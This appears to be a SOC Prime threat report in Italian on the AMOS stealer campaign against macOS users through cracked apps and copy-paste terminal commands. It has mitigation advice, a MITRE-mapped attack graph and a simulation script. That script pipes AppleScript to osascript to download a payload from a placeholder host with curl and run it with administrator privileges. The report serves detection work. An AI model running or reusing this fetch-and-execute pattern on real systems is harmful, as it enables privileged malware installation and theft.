AMOS Stealer Attacca macOS Attraverso App “Craccate”

SOC Prime Team

Segui

AMOS Stealer Attacca macOS Attraverso App “Craccate”

Detection stack

AIDR
Alert
ETL
Query

Rapporto
Flusso di Attacco
Rilevamenti
Simulazioni

Riepilogo

Il report descrive una campagna che distribuisce Atomic macOS Stealer (AMOS) camuffandolo da applicazioni crackate o istruendo gli utenti a eseguire comandi terminal copiati e incollati. Una volta eseguito, il malware raccoglie un ampio set di dati sensibili, incluse credenziali, informazioni del browser, portafogli di criptovaluta, file delle applicazioni di messaggistica, profili VPN e documenti personali, per poi esfiltrare i contenuti rubati tramite HTTP o HTTPS. Per evitare il rilevamento statico, gli operatori ruotano i domini e gli URL durante la campagna. L’attività è indirizzata agli utenti macOS, in particolare a quelli che cercano software non ufficiali o piratati.

Indagine

La telemetria di Trend Vision One è stata utilizzata per ricostruire l’intera catena di infezione, iniziando con i download di applicazioni crackate da haxmac.cc, seguiti da reindirizzamenti attraverso domini intermediari, esecuzione di script shell dannosi, creazione di daemon di avvio per la persistenza, staging dei dati in /tmp, compressione in archivi ZIP ed esfiltrazione verso domini rotanti controllati dagli attaccanti. I ricercatori hanno catturato le linee di comando rilevanti, i percorsi dei file e gli indicatori comportamentali associati a ciascuna fase della compromissione.

Mitigazione

Le organizzazioni dovrebbero educare gli utenti sui rischi del software crackato e dei comandi terminal copiati e incollati, applicare i controlli Gatekeeper e notarizzazione, e limitare l’esecuzione di script non necessari sui sistemi macOS. I difensori dovrebbero anche monitorare attività sospette di curl and osascript e bloccare l’accesso a domini e indirizzi IP noti come dannosi. Le rilevazioni degli endpoint dovrebbero concentrarsi sulla creazione non autorizzata di daemon di avvio, il posizionamento nascosto di file e comportamenti insoliti di raccolta o esfiltrazione dei file.

Risposta

Se viene rilevata un’attività di AMOS, isolare l’endpoint interessato, terminare i processi dannosi, rimuovere file nascosti come .helper, .agent, e com.finder.helper.plist, e cancellare qualsiasi dato preparato per l’esfiltrazione. Le credenziali compromesse devono essere revocate e un’analisi forense dovrebbe essere effettuata su qualsiasi archivio recuperato. L’infrastruttura dannosa identificata deve essere bloccata e i contenuti di rilevazione devono essere aggiornati per monitorare i pattern di comando osservati.

graph TB %% Definizioni delle classi classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef data fill:#ccffcc %% Nodi – Azioni (Tecniche) step1_initial_access_file[“Azione – T1204.002 Esecuzione Utente: File Malevolo La vittima scarica ed esegue un file .dmg trojanizzato mascherato da applicazione crackata.”] class step1_initial_access_file action step2_copy_paste[“Azione – T1204.004 Esecuzione Utente: Copia e Incolla Malevolo La vittima copia un comando curl da una pagina web nel Terminale, che scarica ed esegue install.sh.”] class step2_copy_paste action step3_masquerading[“Azione – T1036 Mascheramento Il malware viene presentato come software crackato legittimo e false pagine di installazione.”] class step3_masquerading action step4_curl_proxy[“Azione – T1218 Esecuzione Proxy di Binari di Sistema Il binario legittimo curl recupera script malevoli.”] class step4_curl_proxy action step5_osascript_proxy[“Azione – T1216 Esecuzione Proxy di Script di Sistema osascript esegue un payload AppleScript per eseguire codice.”] class step5_osascript_proxy action step6_shell_interpreter[“Azione – T1059.004 Interprete di Comandi e Script: Shell Unix I comandi shell creano directory, raccolgono file e invocano curl per l’esfiltrazione.”] class step6_shell_interpreter action step7_sudo_abuse[“Azione – T1548.003 Abuso del Meccanismo di Elevazione dei Privilegi: Sudo e Cache Sudo La password catturata viene fornita a sudo per scrivere un plist LaunchDaemon con privilegi root.”] class step7_sudo_abuse action step8_persistence[“Azione – T1569 Servizi di Sistema: LaunchDaemon LaunchDaemon (com.finder.helper.plist) esegue lo script malevolo .agent durante l’avvio del sistema.”] class step8_persistence action step9_defense_evasion[“Azione – T1127 Esecuzione Proxy di Utilità di Sviluppo Attendibili Le utility di sviluppo Apple (osascript) vengono utilizzate per eseguire il payload, eludendo le difese.”] class step9_defense_evasion action step10_dga[“Azione – T1568.002 Risoluzione Dinamica: Algoritmi di Generazione dei Domini L’attaccante ruota numerosi domini .cfd e altri domini per la distribuzione dei payload.”] class step10_dga action step11_browser_creds[“Azione – T1555.003 Credenziali da Archivi Password: Browser Web Estrazione di dati di accesso e cookie di Chrome, Firefox ed Edge.”] class step11_browser_creds action step12_keychain[“Azione – T1555 Credenziali da Archivi Password Estrazione di elementi del Keychain di macOS.”] class step12_keychain action step13_wallet_keys[“Azione – T1552.004 Chiavi Private Furto di file di wallet di criptovalute.”] class step13_wallet_keys action step14_session_cookies[“Azione – T1550.004 Cookie di Sessione Web Raccolta di cookie di sessione per un successivo riutilizzo.”] class step14_session_cookies action step15_archive[“Azione – T1560 Archiviazione dei Dati Raccolti I file raccolti vengono compressi in out.zip.”] class step15_archive action step16_compression[“Azione – T1027.015 Compressione I dati vengono compressi prima dell’esfiltrazione (offuscamento).”] class step16_compression action step17_exfil_https[“Azione – T1071.001 Protocollo di Livello Applicativo: Protocolli Web L’archivio compresso viene caricato tramite HTTPS POST su un server controllato dall’attaccante.”] class step17_exfil_https action step18_indirect_curl[“Azione – T1202 Esecuzione Indiretta di Comandi Il comando curl recupera ed esegue silenziosamente uno script remoto.”] class step18_indirect_curl action %% Nodi – Strumenti tool_curl[“Strumento – Nome: curl Descrizione: Utilità da riga di comando per trasferire dati tramite URL.”] class tool_curl tool tool_osascript[“Strumento – Nome: osascript Descrizione: Esegue script AppleScript o JavaScript for Automation.”] class tool_osascript tool tool_sudo[“Strumento – Nome: sudo Descrizione: Esegue comandi con privilegi elevati.”] class tool_sudo tool tool_launchd[“Strumento – Nome: launchd Descrizione: Gestore di servizi macOS per il caricamento di LaunchDaemon e agenti.”] class tool_launchd tool %% Nodi – File e Dati file_dmg[“File – Nome: trojanized.dmg Tipo: Immagine disco mascherata da applicazione crackata”] class file_dmg file file_install_sh[“File – Nome: install.sh Tipo: Script shell scaricato tramite curl”] class file_install_sh file data_out_zip[“Dati – Nome: out.zip Contenuto: File raccolti pronti per l’esfiltrazione”] class data_out_zip data %% Connessioni di Flusso step1_initial_access_file –>|scarica ed esegue| file_dmg file_dmg –>|attiva| step1_initial_access_file step1_initial_access_file –>|porta a| step2_copy_paste step2_copy_paste –>|usa| tool_curl tool_curl –>|scarica| file_install_sh file_install_sh –>|esegue| step2_copy_paste step2_copy_paste –>|porta a| step3_masquerading step3_masquerading –>|abilita| step4_curl_proxy step4_curl_proxy –>|usa| tool_curl tool_curl –>|recupera| step5_osascript_proxy step5_osascript_proxy –>|usa| tool_osascript tool_osascript –>|esegue| step6_shell_interpreter step6_shell_interpreter –>|invoca| step7_sudo_abuse step7_sudo_abuse –>|usa| tool_sudo tool_sudo –>|scrive| step8_persistence step8_persistence –>|gestito da| tool_launchd tool_launchd –>|esegue| step9_defense_evasion step9_defense_evasion –>|facilita| step10_dga step10_dga –>|fornisce| step11_browser_creds step10_dga –>|fornisce| step12_keychain step10_dga –>|fornisce| step13_wallet_keys step10_dga –>|fornisce| step14_session_cookies step11_browser_creds –>|raccolto in| step15_archive step12_keychain –>|raccolto in| step15_archive step13_wallet_keys –>|raccolto in| step15_archive step14_session_cookies –>|raccolto in| step15_archive step15_archive –>|produce| data_out_zip data_out_zip –>|compresso da| step16_compression step16_compression –>|inviato tramite| step17_exfil_https step17_exfil_https –>|usa| tool_curl tool_curl –>|esegue| step18_indirect_curl step18_indirect_curl –>|completa| step1_initial_access_file %% Stile class step1_initial_access_file,step2_copy_paste,step3_masquerading,step4_curl_proxy,step5_osascript_proxy,step6_shell_interpreter,step7_sudo_abuse,step8_persistence,step9_defense_evasion,step10_dga,step11_browser_creds,step12_keychain,step13_wallet_keys,step14_session_cookies,step15_archive,step16_compression,step17_exfil_https,step18_indirect_curl action class tool_curl,tool_osascript,tool_sudo,tool_launchd tool class file_dmg,file_install_sh file class data_out_zip data

Flusso di attacco

Narrativa dell’attacco e comandi:
Un avversario ha ottenuto un’esca di phishing che consegna un breve payload AppleScript. Lo script utilizza osascript per eseguire un comando shell (sh -c) che invoca curl per scaricare il binario AMOS stealer da un server C2 dannoso, lo memorizza nella ~/Library/Application Support/ dell’utente, e poi lo esegue con permessi elevati. L’uso del osascript (un binario Apple firmato) maschera l’attività come automazione legittima, mentre curl fornisce un download di rete furtivo.

Script di Test di Regressione:

# amos_stealer_simulation.sh
# Simula l'esecuzione di AMOS stealer su macOS usando osascript + curl
# 1. Definire URL dannoso (utilizzare un segnaposto innocuo per sicurezza)
MALICIOUS_URL="https://example.com/malicious_payload.sh"
# 2. AppleScript che esegue un comando shell per scaricare ed eseguire il payload
APPLESCRIPT=$(cat <<'EOF'
do shell script "sh -c 'curl -s -o /tmp/payload.sh "https://example.com/malicious_payload.sh" && chmod +x /tmp/payload.sh && /tmp/payload.sh'" with administrator privileges
EOF
)
# 3. Eseguire l'AppleScript tramite osascript
echo "$APPLESCRIPT" | osascript
# 4. Pausa breve per consentire l'esecuzione del payload
sleep 5

Comandi di Pulizia:

# cleanup_amos_simulation.sh
# Rimuove gli artefatti creati dalla simulazione
# Rimuovere il payload scaricato
rm -f /tmp/payload.sh
# Revoca qualsiasi processo temporaneo con privilegi elevati (se ancora in esecuzione)
pkill -f "/tmp/payload.sh" || true
# Opzionalmente, cancellare la cronologia di esecuzione di AppleScript
# (macOS non conserva una cronologia persistente per osascript)
echo "Pulizia completata."

Unisciti alla piattaforma Detection as Code di SOC Prime per migliorare la visibilità sulle minacce più rilevanti per il tuo business. Per aiutarti a iniziare e aumentare immediatamente il valore, prenota ora un incontro con gli esperti di SOC Prime.

Iscriviti gratis